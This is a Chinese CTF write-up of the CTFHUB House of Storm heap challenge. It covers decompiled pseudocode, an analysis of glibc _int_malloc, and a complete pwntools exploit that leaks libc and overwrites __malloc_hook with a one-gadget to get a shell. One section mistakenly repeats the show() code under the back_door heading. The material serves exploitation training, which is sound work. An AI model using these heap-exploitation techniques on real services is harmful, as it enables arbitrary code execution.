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Pwn-[writeup]CTFHUB-LargeBin Attack|House of Storm

推荐 原创

周杰伦

文章分类 Pwn HarmonyOS Web安全 软件逆向 阅读数 : 396 阅读时长 : 9分钟

目录

前言

由于本次利用相当的绕，我的语言表达和作图也并不够直白人，会看着非常晕，但我感觉我应该比大部分都要写的详细，如果你也被这题难住了，耐心看吧:)，可能按顺序无法看明白对_int_malloc的分析部分，不先讲清楚原理也不方便直接说例如FakeChunk的构造，要结合上下文和exp进行理解，我也有画草图，推荐自己分析一遍源码，以加深理解

程序分析

IDA静态分析

伪代码分析

main函数

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int __cdecl main( int argc, const char * * argv, const char * * envp)
{
   int choice[ 67 ]; / / [rsp + Ch] [rbp - 114h ] BYREF
   unsigned __int64 v5; / / [rsp + 118h ] [rbp - 8h ]
 
   v5 = __readfsqword( 0x28u );
   init(argc, argv, envp);
   while ( 1 )
   {
     menu(); / / 打印菜单
     _isoc99_scanf( "%d" , choice);
     switch ( choice[ 0 ] )
     {
       case 1 :
         add(); / /
         break ;
       case 2 :
         dele();
         break ;
       case 3 :
         edit();
         break ;
       case 4 :
         show();
         break ;
       case 5 :
         back_door();
         break ;
       default:
         exit( 0 );
     }
   }
}

add函数

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unsigned __int64 add()
{
   int counter; / / eax
   unsigned int chunkIndex; / / ebx
   unsigned int sizeIndex; / / [rsp + 4h ] [rbp - 1Ch ] BYREF
   unsigned __int64 v4; / / [rsp + 8h ] [rbp - 18h ]
 
   v4 = __readfsqword( 0x28u );
   counter = add_count - - ;
   if ( counter ! = - 1 )                          / / 第六次操作会失败
   {
     puts( "idx:" );
     _isoc99_scanf( "%d" , &sizeIndex);
     if ( sizeIndex > = 0xA )                     / / index< 10
     {
       puts( "error" );
       exit( 0 );
     }
     puts( "size:" );
     _isoc99_scanf( "%d" , &chunk_size[sizeIndex]);
     if ( chunk_size[sizeIndex] ! = 0x430 && chunk_size[sizeIndex] ! = 0x440 && chunk_size[sizeIndex] ! = 0x450 )
     {
       puts( "error" );
       exit( 0 );
     }
     chunkIndex = sizeIndex;
     chunk[chunkIndex] = malloc(chunk_size[sizeIndex]);
   }
   return __readfsqword( 0x28u ) ^ v4;
}

dele函数

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unsigned __int64 dele()
{
   int counter; / / eax
   unsigned int index; / / [rsp + 4h ] [rbp - Ch] BYREF
   unsigned __int64 v3; / / [rsp + 8h ] [rbp - 8h ]
 
   v3 = __readfsqword( 0x28u );
   counter = dele_count - - ;
   if ( counter ! = - 1 )                          / / 第四次操作会失败
   {
     puts( "idx:" );
     _isoc99_scanf( "%d" , &index);
     if ( index > = 0xA )
     {
       puts( "error" );
       exit( 0 );
     }
     free((void * )chunk[index]);                 / / 只做了释放操作但是没有将指针置零，Use After Free漏洞
   }
   return __readfsqword( 0x28u ) ^ v3;
}

edit函数【UAF】

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unsigned __int64 edit()
{
   int counter; / / eax
   unsigned int index; / / [rsp + 4h ] [rbp - Ch] BYREF
   unsigned __int64 v3; / / [rsp + 8h ] [rbp - 8h ]
 
   v3 = __readfsqword( 0x28u );
   counter = edit_count - - ;
   if ( counter ! = - 1 )                          / / 第三次操作会失败
   {
     puts( "idx:" );
     _isoc99_scanf( "%d" , &index);
     if ( index > = 0xA )
     {
       puts( "error" );
       exit( 0 );
     }
     puts( "content:" );
     read( 0 , (void * )chunk[index], chunk_size[index]);
   }
   return __readfsqword( 0x28u ) ^ v3;
}

show函数【Leak】

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unsigned __int64 show()
{
   int counter; / / eax
   unsigned int index; / / [rsp + 4h ] [rbp - Ch] BYREF
   unsigned __int64 v3; / / [rsp + 8h ] [rbp - 8h ]
 
   v3 = __readfsqword( 0x28u );
   counter = show_count - - ;
   if ( counter ! = - 1 )                          / / 第二次操作会失败
   {
     puts( "idx:" );
     _isoc99_scanf( "%d" , &index);
     if ( index > = 0xA )
     {
       puts( "error" );
       exit( 1 );
     }
     puts((const char * )chunk[index]);
   }
   return __readfsqword( 0x28u ) ^ v3;
}

back_door函数

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unsigned __int64 show()
{
   int counter; / / eax
   unsigned int index; / / [rsp + 4h ] [rbp - Ch] BYREF
   unsigned __int64 v3; / / [rsp + 8h ] [rbp - 8h ]
 
   v3 = __readfsqword( 0x28u );
   counter = show_count - - ;
   if ( counter ! = - 1 )                          / / 第二次操作会失败
   {
     puts( "idx:" );
     _isoc99_scanf( "%d" , &index);
     if ( index > = 0xA )
     {
       puts( "error" );
       exit( 1 );
     }
     puts((const char * )chunk[index]);
   }
   return __readfsqword( 0x28u ) ^ v3;
}

分析总结

本程序中对 申请 释放 和 打印 操作并没有严格的管理和检查，导致了 Use After Free漏洞 和 Unsorted Bin Leak

漏洞利用及原理

可利用漏洞

  • Use After Free
  • Unsorted Bin Leak

1. House Of Storm

利用条件

要使用 House of Storm 进行攻击，条件十分苛刻，需要以下条件均达成才可进行利用

  1. Glibc版本小于2.30
  2. 存在UAF漏洞使Unsorted Bin中的FreeChunk字段可控
  3. 存在UAF漏洞使Large Bin中的FreeChunk字段可控
  4. 可以申请一个如本题中Heap起始字节为0x55，经对齐后大小同为0x50的heap
  5. 构造一个位于Unsorted Bin中的FreeChunkA
  6. 构造一个位于Large Bins中的FreeChunkB
  7. 在最终的Large Bins大小分类中，FreeChunkA和FreeChunkB应属于同一大小分类

再此我先说明需要构造的FreeChunkU(UnortedBin) 和FreeChunkL(LargeBin)，不理解可以先看一眼，后面会详细说明

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/ / FakeChunk是我们要申请的目标地址上方( - 0x20 或 - 0x30 )
freeChunkU - >bk = FakeChunk;
freeChunkL - >bk = FakeChunk + 8 ;
freeChunkL - >bk_nextSize = FakeChunk - 0x18 - 5 ;

情景分析

由于在申请FakeChunk的时候要求攻击者将FakeChunk指向一个可用的FakeChunk Header已绕过一系列如针对size的检查，如果程序允许攻击者随意申请任意大小（相对），那么或许可以直接利用程序中的内存区作为FakeChunk Header，但是如果程序规定了攻击者所能申请的HeapSize，那么FakeChunk Header的条件就较为苛刻，需要经过特殊手段伪造或寻找，而 House Of Storm 正是针对这一情况，进行针对FakeChunk Header的伪造

漏洞发生原因

当用户申请的heapSize不属于 SmallBins FastBins Tcache 中任何一个时，则会对Unsorted bin进行由后向前的遍历（FIFO），参与当前遍历的FreeChunk在源码中记作 victim ，而当前FreeChunk的 后一个FreeChunk被记作 bck，在该循环中按顺序分别存在以下处理分支

  • 从上一个被分割块中继续分割/直接分配；需满足如下条件
    • 用户申请的size范围属于smallbin
    • 当前FreeChunk已是Unsorted Bin中的最后一个FreeChunk
    • 当前FreeChunk是上一次参与分割剩下的Chunk
    • 当前FreeChunk size大于 （用户申请size + MINSIZE）
  • （当前操作仅分支1不成立时进行，仅作操作不作为分支结束malloc函数）
    • 将Unsortedbin->bk指向victim->bk
    • 将victim->bk->fd 指向UnortedBin->fd
  • 直接将当前FreeChunk分配；需满足如下条件
    • 用户申请大小 = FreeChunk Size
  • 将当前FreeChunk分类进SmallBins中；需满足如下条件
    • FreeChunk Size 属于 smallbin range
  • 将当前FreeChunk分类进LargeBins中并排序 【漏洞发生处】 ；需满足如下条件
    • 上一分支条件不成立
    • 当前分类LargeBin中存在其它FreeChunk
    • 重要：在该分支下的排序中，要求 Victim>LargeBin FreeChunk，原因后面详解

结合Glibc-2.27源码分析_int_malloc函数中引发House Of Storm攻击的漏洞

格局上节分析已知，触发漏洞处位于_int_malloc()函数在对Unsorted Bin的FreeChunk分类并排序入Large bin时候发生，我们先看看引发漏洞的关键代码

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victim - >fd_nextsize = fwd;
victim - >bk_nextsize = fwd - >bk_nextsize;
fwd - >bk_nextsize = victim;
victim - >bk_nextsize - >fd_nextsize = victim;
 
bck = fwd - >bk; / / 重点

当 FreeChunk Size > largeBins最后一个FreeChunk的size时，将会执行以上操作

 

我们暂时重点关注第四句，它将当前FreeChunk的字段bk_nextsize所指向的fd_nextsize修改为了当前FreeChunk的地址，而经过调试我们知道我们申请的heap地址起始总是0x55/0x56，而在程序的Backdoor函数中可申请一个0x48经过对齐后size同为0x50的heap，所以我们可以利用该语句使字节错位将FreeChunk地址的0x55/0x56写出从而伪造FakeChunk

问题1：为什么要求freeChunkU size > freeChunkL size ?

经过上面分析我们已知，在 分支1 之后有一个操作，既将当前FreeChunk的bk(后一个FreeChunk)作为UnsortedBin的bk使其准备进入下一次循环，同时要修改该bk->fd使其指向UnsortedBin(双向链表)，由于FreeChunkU的bk指向我们伪造的FreeChunk，所以它的fd极有可能指向一个不可访问的区域，或者为0；但是我们回到上一节的分析中，重点关注bck = fwd->bk;，它将bck指向了FreeChunkL的bk，而该字段是我们所伪造的FreeChunk+8处，而在排序的结尾，有这么一个操作

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victim - >bk = bck;
victim - >fd = fwd;
fwd - >bk = victim;
bck - >fd = victim; / / 重点

可以看到，它将bck->fd指向了FreeChunkU，这样在进入下一次循环当FakeChunk作为victim时，它的fd字段将不会引发异常；若是freeChunkU size < freeChunkL size，bck将指向FreeChunkL，FakeChunk->fd将不会被修改，依旧是一个不安全的指针

问题2：怎么我篡改完两个FreeChunk的字段调用backDoor突然就申请完了？

也许大部分人会和我一样对这块相当懵B，为什么跟着别人的exp篡改完FreeChunkU和FreeChunkL的bk bk_next size，再申请就能申到FreeChunk了呢，不明白是个怎么流程，以下我会详细说明

 

当用户申请新的heap在fastBin/smallBin中无法找到时，会来到UnsortedBin查找，以下是该部分开头的代码

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while ((victim = unsorted_chunks(av) - >bk) ! = unsorted_chunks(av))
     {
       bck = victim - >bk;

victim为本次循环的FreeChunk

 

av指的是一个main_arena，我们知道所有bins都是main_arena结构下的成员，而unsortedBin只有一个，不像其它bins那样根据大小分类拥有多个，所以unsorted_chunks(av)即为main_arena->bins[0]，关于bin的更多内容请自行补充

 

该循环从UnsortedBins>bk也即从该双向链表的尾部开始，只要尾指针不指着头，既代表当前bin中有FreeChunk

 

bck为当前FreeChunk的后一个FreeChunk，提前保存将用于后续的链表操作作为UnsortedBin->bk准备进入下一次循环

 

到这里我们可以解释我们的第一个构造 freeChunkU->bk = FakeChunk;，为什么要让freeChunkU的bk指向FakeChunk了，因为我们想让第二次循环的时候来到FakeChunk并检查能否将其分配给我们，而实际上来到第二次循环之前，我们的FakeChunk就已经被伪造好了，现在我们依旧在第一次循环，我们继续往下分析

 

我们先补充几点，此时我们调用了back_door函数，我们申请的size经过对齐后是0x50，根据上面章节的分支分析我们可以知道前面的分支我们并不会参与，会知道来到LargeBin的处理，而我们也解释了关于FreeChunkU和FreeChunkL的大小关系，所以我们会来到LargeBin分支内的第二个分支，以下是源码

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         victim_index = largebin_index(size);
         bck = bin_at(av, victim_index); / / bck = largebins[ 1 ]，既大小分类的第二个 bin
         fwd = bck - >fd; / / fwd = 该分类下的第一个freeChunk
         if (fwd ! = bck) / / 如果largeBins下有FreeChunk，则进行排序
         {
           size | = PREV_INUSE; / / size = victim的大小
           assert (chunk_main_arena(bck - >bk));
           if ((unsigned long )(size) < (unsigned long )chunksize_nomask(bck - >bk)){
               ...... / / 这里我们不关注，已经解释过该分支为什么不可行了
           }
else
           {
             assert (chunk_main_arena(fwd)); / / 对freeChunkL进行检查
             while ((unsigned long )size < chunksize_nomask(fwd)) / / 这里我们也不关心。不会进入该分支
             {
               fwd = fwd - >fd_nextsize;
               assert (chunk_main_arena(fwd));
             }
 
             if ((unsigned long )size = = (unsigned long )chunksize_nomask(fwd)) / / 不会相等，不管
               / * Always insert in the second position.  * /
               fwd = fwd - >fd;
             else
             { / / ↓↓↓↓↓↓↓↓↓↓↓↓重点↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
               victim - >fd_nextsize = fwd;
               victim - >bk_nextsize = fwd - >bk_nextsize;
               fwd - >bk_nextsize = victim;
               victim - >bk_nextsize - >fd_nextsize = victim;
             }
             bck = fwd - >bk; / / 重点
           }

可以看到我们的第一次循环实际上在跳过第一次分支将bck(FakeChunk)嵌入UnsortedBin后就直接来到了上述代码中，我们再回想一遍上面讲过的内容，也在此处解释一下freeChunkL->bk_nextSize = FakeChunk-0x18-5;的目的，在重点的第二行victim->bk_nextsize = freeChunkL->bk_nextsize;，也即此时victim->bk_nextsize已经指向了FakeChunk-0x18-5，而第四行的操作既是将FreeChunkU的地址写入FakeChunk-0x18-5，由于字节错位，最终我们将得到一个size字段0x0000000000000056，这样我们的FakeChunk已经伪造完毕了

 

但是到这里还没有结束，别忘了我们的构造2：FreeChunkL->bk=FakeChunk+8，看到最后一句操作了吗，它将bck指向了FreeChunkL->bk，这将为我们进入第二次循环提供了保障，在问题一中已经说过了，在Largebin排序分支结束后将由如下操作，这里结合起来强调一次

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victim - >bk = bck;
victim - >fd = fwd;
fwd - >bk = victim;
bck - >fd = victim;

根据上面我们已知bck被指向了FakeChunk+8处，所以它实际上将FakeChunk->bk修改为FreeChunkU#0，而在进入第二次循环时，我们知道程序首先第一件事就是保存了bck = victim->bk，而在第一个分支不成立后的如下操作

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unsorted_chunks(av) - >bk = bck;
bck - >fd = unsorted_chunks(av);

此处将bck作为一个Unsorted bin Chunk结构体引用了它的字段fd，但若是bck无法被引用，此处将导致程序意外退出；而只有当 FreeChunkU > FreeChunkL 时才能避免这个问题

 

至此我们的第一次循环已经结束了，FakeChunk已经被伪造好、FakeChunk已经作为UnsortedBin->bk准备进入第二次循环、第二次循环可能导致的崩溃也已经解决

 

进入第二次循环后，简单粗暴，用户申请的大小对齐后为0x50，而我们的FakeChunk去掉标志位后size也为0x50，直接进入 分支2，申请空间与victim size相等，分配，return，_int_malloc结束

程序执行流程和bins情况（图解）

简单画了个图，命名不是很规范，也画的没那么细，因为这个东西确实太绕了，我自己也总给绕进去

 

Exploit

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from pwn import *
 
prog = "./house_of_storm"
 
local = True
context(os = 'linux' , arch = 'amd64' , log_level = 'debug' )
 
elf = ELF(prog)
libc = ELF( "./libc-2.23.so" )
 
if local:
     p = process(prog)
     libc = ELF( "/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6" )
     gdb.attach(p)
     sleep( 1 )
else :
     p = remote( "challenge-c43734e6211fcc95.sandbox.ctfhub.com" , 24937 )
 
sizeA = 0x430
sizeB = 0x440
sizeC = 0x450
 
def sendIndex(index):
     a = p.recvuntil( "idx:\n" ,timeout = 1 )
     if a = = b'':
         return False
     p.sendline( str (index))
     return True
 
 
def add(index,size):
     a = p.sendlineafter( "choice: \n" , "1" )
     if sendIndex(index):
         p.sendlineafter( "size:\n" , str (size))
         return print ( "[*] heap {} alloc successful" . format (index))
     add(index,size)
 
def dele(index):
     p.sendlineafter( "choice: \n" , "2" )
     if sendIndex(index):
         return print ( "[*] heap {} delete successful" . format (index))
     dele(index)
 
def edit(index,content):
     p.sendlineafter( "choice: \n" , "3" )
     if sendIndex(index):
         p.sendafter( "content:\n" ,content)
         return print ( "[*] heap {} edit successful" . format (index))
     edit(index,content)
 
def show(index):
     p.sendlineafter( "choice: \n" , "4" )
     if sendIndex(index):
         return print ( "[*] heap {} show successful" . format (index))
     show(index)
 
 
def pwn(dd):
     p.sendlineafter( "choice: \n" , "5" )
     p.send(dd)
 
add( 0 ,sizeC) #unsorted Bin
add( 1 ,sizeC)
add( 2 ,sizeB) #largeBin
add( 3 ,sizeC)
 
#构造unsortedBin chunk和LargeBin chunk
dele( 2 )
dele( 0 )
add( 0 ,sizeC)
dele( 0 )
show( 0 )
#泄漏LIBC基址
mainArena = u64(p.recvuntil( "\x7f" )[ - 6 :].ljust( 8 ,b "\x00" )) - 88
mallocHook = mainArena - 0x10
libcBase = mallocHook - libc.sym[ '__malloc_hook' ]
realloc = libcBase + libc.sym[ 'realloc' ]
systemCall = libcBase + libc.sym[ 'system' ]
print ( "mainArena ==============> {}" . format ( hex (mainArena)))
print ( "libcBase ==============> {}" . format ( hex (libcBase)))
print ( "systemCall ==============> {}" . format ( hex (systemCall)))
print ( "mallocHook ==============> {}" . format ( hex (mallocHook)))
 
fakeChunk = mallocHook - 0x30
 
 
#篡改freeChunkU和freeChunkL的字段
payload = p64( 0 ) + p64(fakeChunk)
edit( 0 ,payload)
payload = p64( 0 ) + p64(fakeChunk + 8 ) + p64( 0 ) + p64(fakeChunk - 0x18 - 5 )
edit( 2 ,payload)
 
gadGet = 0x4525a + libcBase
 
pwn(b "A" * 0x20 + p64(gadGet)) / / 篡改mallocHook
add( 9 ,sizeA)
 
p.interactive()
p.close()

总结

关于源码分析中的各种变量名膈应不理解的问题

可能有很多人和我一样看到分析的地方什么bk bck victim fwd fd av都看的挺懵B吧，没办法，源码里就是这么命名的，也可能是我不专业，所以看起来膈应，但是在分析里要详细讲清楚bck fwd到底指哪一个FreeChunk，该FreeChunk到底是第几个真的很绕，就连我自己都很容易看晕，所以真的强烈建议自己分析一遍源码，我就是看不明白别人的分析才这么干的；懒得看可以结合我画的草图分析整个流程是怎么样的

关于本章

这次写的总结和分析也是相对比较乱的，没有从头开始比如构造什么什么然后构造的东西做了什么什么开始，而是简单提了一下就直接从源码开始了，因为这次的内容真的非常非常绕，文中我也强调了很多次，至于有多绕，我写的东西有多绕它就有多绕，而且比我还绕:)

关于EXP

我留下的EXP在远程上无法打通，因为gadGet条件不符合，不过也简单，加上reallocHook就行了，这里就不拓展该内容了

Bins那块看的头大怎么办

补呗，我刚看也头大，先把Unsorted Bin和Large Bin具体看明白了，我的图比较潦草但我感觉还能看。还有main_arena的结构，如果你和我一样纠结av到底是个什么玩意的话:)，要分析源码不把这俩bin结构整明白了，一会bck一会fwd，一会还tmfwd=bck，你晕不晕吧就:|



更多【[writeup]CTFHUB-LargeBin Attack|House of Storm】相关视频教程：www.yxfzedu.com




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